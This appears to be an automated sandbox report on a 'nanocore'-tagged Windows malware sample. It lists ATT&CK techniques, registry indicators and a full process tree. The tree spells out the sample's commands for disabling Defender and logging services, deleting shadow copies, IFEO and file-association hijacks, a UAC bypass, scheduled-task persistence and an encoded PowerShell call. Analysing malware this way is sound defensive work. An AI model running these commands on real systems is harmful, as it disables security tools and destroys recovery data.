nanocore | d7f40ee2a4daaebca6911ae2485bb0a8fdb8006091b50386221c11bb3a686bc1

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	socolivebz.net_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	socolivebz.net_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	socolivebz.net_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	socolivebz.net_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4108	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	socolivebz.net_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	socolivebz.net_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	socolivebz.net_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	socolivebz.net_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3044	net.exe
4324	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2960	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	socolivebz.net_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	socolivebz.net_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	socolivebz.net_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	socolivebz.net_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	socolivebz.net_nano.exe
File created	C:\Windows\system32\svchost.exe	socolivebz.net_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4060	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	socolivebz.net_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
848	socolivebz.net_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1492	sc.exe
4668	sc.exe
3960	sc.exe
1076	sc.exe
5004	sc.exe
212	sc.exe
3352	sc.exe
560	sc.exe
1696	sc.exe
3376	sc.exe
4884	sc.exe
2388	sc.exe
3960	sc.exe
1160	sc.exe
3832	sc.exe
1296	sc.exe
4408	sc.exe
4364	sc.exe
4484	sc.exe
3476	sc.exe
1600	sc.exe
1992	sc.exe
1584	sc.exe
4264	sc.exe
4284	sc.exe
2960	sc.exe
1176	sc.exe
4888	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4672	cmd.exe
2036	cmd.exe
964	cmd.exe
4204	cmd.exe
1792	cmd.exe
376	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3236	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4860	ipconfig.exe
1076	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1764	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4396	vssadmin.exe
4356	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\WallpaperStyle = "2"	socolivebz.net_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe"	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	socolivebz.net_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\.pdf\ = "PDFBotnet"	socolivebz.net_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivebz.net_nano.exe\" \"%1\""	socolivebz.net_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	socolivebz.net_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	socolivebz.net_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\DelegateExecute	socolivebz.net_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	socolivebz.net_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	socolivebz.net_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	socolivebz.net_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	socolivebz.net_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	socolivebz.net_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3300	schtasks.exe
544	schtasks.exe
5116	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2760	powershell.exe
2760	powershell.exe
2760	powershell.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe
848	socolivebz.net_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
848	socolivebz.net_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	848	socolivebz.net_nano.exe
Token: SeIncreaseQuotaPrivilege	2516	WMIC.exe
Token: SeSecurityPrivilege	2516	WMIC.exe
Token: SeTakeOwnershipPrivilege	2516	WMIC.exe
Token: SeLoadDriverPrivilege	2516	WMIC.exe
Token: SeSystemProfilePrivilege	2516	WMIC.exe
Token: SeSystemtimePrivilege	2516	WMIC.exe
Token: SeProfSingleProcessPrivilege	2516	WMIC.exe
Token: SeIncBasePriorityPrivilege	2516	WMIC.exe
Token: SeCreatePagefilePrivilege	2516	WMIC.exe
Token: SeBackupPrivilege	2516	WMIC.exe
Token: SeRestorePrivilege	2516	WMIC.exe
Token: SeShutdownPrivilege	2516	WMIC.exe
Token: SeDebugPrivilege	2516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2516	WMIC.exe
Token: SeRemoteShutdownPrivilege	2516	WMIC.exe
Token: SeUndockPrivilege	2516	WMIC.exe
Token: SeManageVolumePrivilege	2516	WMIC.exe
Token: 33	2516	WMIC.exe
Token: 34	2516	WMIC.exe
Token: 35	2516	WMIC.exe
Token: 36	2516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2516	WMIC.exe
Token: SeSecurityPrivilege	2516	WMIC.exe
Token: SeTakeOwnershipPrivilege	2516	WMIC.exe
Token: SeLoadDriverPrivilege	2516	WMIC.exe
Token: SeSystemProfilePrivilege	2516	WMIC.exe
Token: SeSystemtimePrivilege	2516	WMIC.exe
Token: SeProfSingleProcessPrivilege	2516	WMIC.exe
Token: SeIncBasePriorityPrivilege	2516	WMIC.exe
Token: SeCreatePagefilePrivilege	2516	WMIC.exe
Token: SeBackupPrivilege	2516	WMIC.exe
Token: SeRestorePrivilege	2516	WMIC.exe
Token: SeShutdownPrivilege	2516	WMIC.exe
Token: SeDebugPrivilege	2516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2516	WMIC.exe
Token: SeRemoteShutdownPrivilege	2516	WMIC.exe
Token: SeUndockPrivilege	2516	WMIC.exe
Token: SeManageVolumePrivilege	2516	WMIC.exe
Token: 33	2516	WMIC.exe
Token: 34	2516	WMIC.exe
Token: 35	2516	WMIC.exe
Token: 36	2516	WMIC.exe
Token: SeIncBasePriorityPrivilege	848	socolivebz.net_nano.exe
Token: SeDebugPrivilege	4772	whoami.exe
Token: SeDebugPrivilege	2960	tasklist.exe
Token: SeDebugPrivilege	1076	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	116	WMIC.exe
Token: SeSecurityPrivilege	116	WMIC.exe
Token: SeTakeOwnershipPrivilege	116	WMIC.exe
Token: SeLoadDriverPrivilege	116	WMIC.exe
Token: SeSystemProfilePrivilege	116	WMIC.exe
Token: SeSystemtimePrivilege	116	WMIC.exe
Token: SeProfSingleProcessPrivilege	116	WMIC.exe
Token: SeIncBasePriorityPrivilege	116	WMIC.exe
Token: SeCreatePagefilePrivilege	116	WMIC.exe
Token: SeBackupPrivilege	116	WMIC.exe
Token: SeRestorePrivilege	116	WMIC.exe
Token: SeShutdownPrivilege	116	WMIC.exe
Token: SeDebugPrivilege	116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	116	WMIC.exe
Token: SeRemoteShutdownPrivilege	116	WMIC.exe
Token: SeUndockPrivilege	116	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
848	socolivebz.net_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 2760	848	socolivebz.net_nano.exe	87
PID 848 wrote to memory of 1296	848	socolivebz.net_nano.exe	88
PID 848 wrote to memory of 4264	848	socolivebz.net_nano.exe	90
PID 848 wrote to memory of 4284	848	socolivebz.net_nano.exe	93
PID 848 wrote to memory of 1076	848	socolivebz.net_nano.exe	175
PID 848 wrote to memory of 2960	848	socolivebz.net_nano.exe	174
PID 848 wrote to memory of 4408	848	socolivebz.net_nano.exe	99
PID 848 wrote to memory of 5004	848	socolivebz.net_nano.exe	101
PID 848 wrote to memory of 4364	848	socolivebz.net_nano.exe	103
PID 848 wrote to memory of 4884	848	socolivebz.net_nano.exe	105
PID 848 wrote to memory of 1176	848	socolivebz.net_nano.exe	107
PID 848 wrote to memory of 212	848	socolivebz.net_nano.exe	181
PID 848 wrote to memory of 2388	848	socolivebz.net_nano.exe	111
PID 848 wrote to memory of 3960	848	socolivebz.net_nano.exe	185
PID 848 wrote to memory of 4888	848	socolivebz.net_nano.exe	115
PID 848 wrote to memory of 4484	848	socolivebz.net_nano.exe	117
PID 848 wrote to memory of 3476	848	socolivebz.net_nano.exe	119
PID 848 wrote to memory of 1600	848	socolivebz.net_nano.exe	121
PID 848 wrote to memory of 1992	848	socolivebz.net_nano.exe	123
PID 848 wrote to memory of 3352	848	socolivebz.net_nano.exe	125
PID 848 wrote to memory of 1584	848	socolivebz.net_nano.exe	157
PID 848 wrote to memory of 560	848	socolivebz.net_nano.exe	129
PID 848 wrote to memory of 1696	848	socolivebz.net_nano.exe	199
PID 848 wrote to memory of 1492	848	socolivebz.net_nano.exe	133
PID 848 wrote to memory of 3376	848	socolivebz.net_nano.exe	135
PID 848 wrote to memory of 4412	848	socolivebz.net_nano.exe	136
PID 848 wrote to memory of 1160	848	socolivebz.net_nano.exe	138
PID 848 wrote to memory of 3832	848	socolivebz.net_nano.exe	140
PID 848 wrote to memory of 4396	848	socolivebz.net_nano.exe	142
PID 848 wrote to memory of 2516	848	socolivebz.net_nano.exe	144
PID 848 wrote to memory of 3300	848	socolivebz.net_nano.exe	146
PID 848 wrote to memory of 544	848	socolivebz.net_nano.exe	149
PID 4412 wrote to memory of 3784	4412	fodhelper.exe	151
PID 848 wrote to memory of 2036	848	socolivebz.net_nano.exe	156
PID 848 wrote to memory of 4672	848	socolivebz.net_nano.exe	158
PID 848 wrote to memory of 376	848	socolivebz.net_nano.exe	159
PID 848 wrote to memory of 1792	848	socolivebz.net_nano.exe	160
PID 848 wrote to memory of 4204	848	socolivebz.net_nano.exe	161
PID 848 wrote to memory of 964	848	socolivebz.net_nano.exe	162
PID 848 wrote to memory of 5116	848	socolivebz.net_nano.exe	166
PID 848 wrote to memory of 4060	848	socolivebz.net_nano.exe	169
PID 4672 wrote to memory of 1764	4672	cmd.exe	171
PID 4204 wrote to memory of 4860	4204	cmd.exe	172
PID 1792 wrote to memory of 4772	1792	cmd.exe	173
PID 376 wrote to memory of 2960	376	cmd.exe	174
PID 964 wrote to memory of 1076	964	cmd.exe	175
PID 2036 wrote to memory of 4356	2036	cmd.exe	176
PID 848 wrote to memory of 3216	848	socolivebz.net_nano.exe	177
PID 2036 wrote to memory of 116	2036	cmd.exe	178
PID 848 wrote to memory of 3704	848	socolivebz.net_nano.exe	180
PID 848 wrote to memory of 4108	848	socolivebz.net_nano.exe	182
PID 848 wrote to memory of 4668	848	socolivebz.net_nano.exe	183
PID 848 wrote to memory of 3960	848	socolivebz.net_nano.exe	185
PID 848 wrote to memory of 980	848	socolivebz.net_nano.exe	186
PID 848 wrote to memory of 3236	848	socolivebz.net_nano.exe	187
PID 3704 wrote to memory of 1956	3704	net.exe	191
PID 848 wrote to memory of 3044	848	socolivebz.net_nano.exe	193
PID 848 wrote to memory of 4804	848	socolivebz.net_nano.exe	194
PID 4804 wrote to memory of 5112	4804	net.exe	197
PID 3044 wrote to memory of 4324	3044	net.exe	198

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
"C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2960
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4364
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:1176
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:212
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:2388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:3960
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4888
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:3476
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:1600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1584
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:1696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1492
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3376
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe"
    3⤵
    PID:3784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3832
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4396
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3300
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1584
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4356
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:116
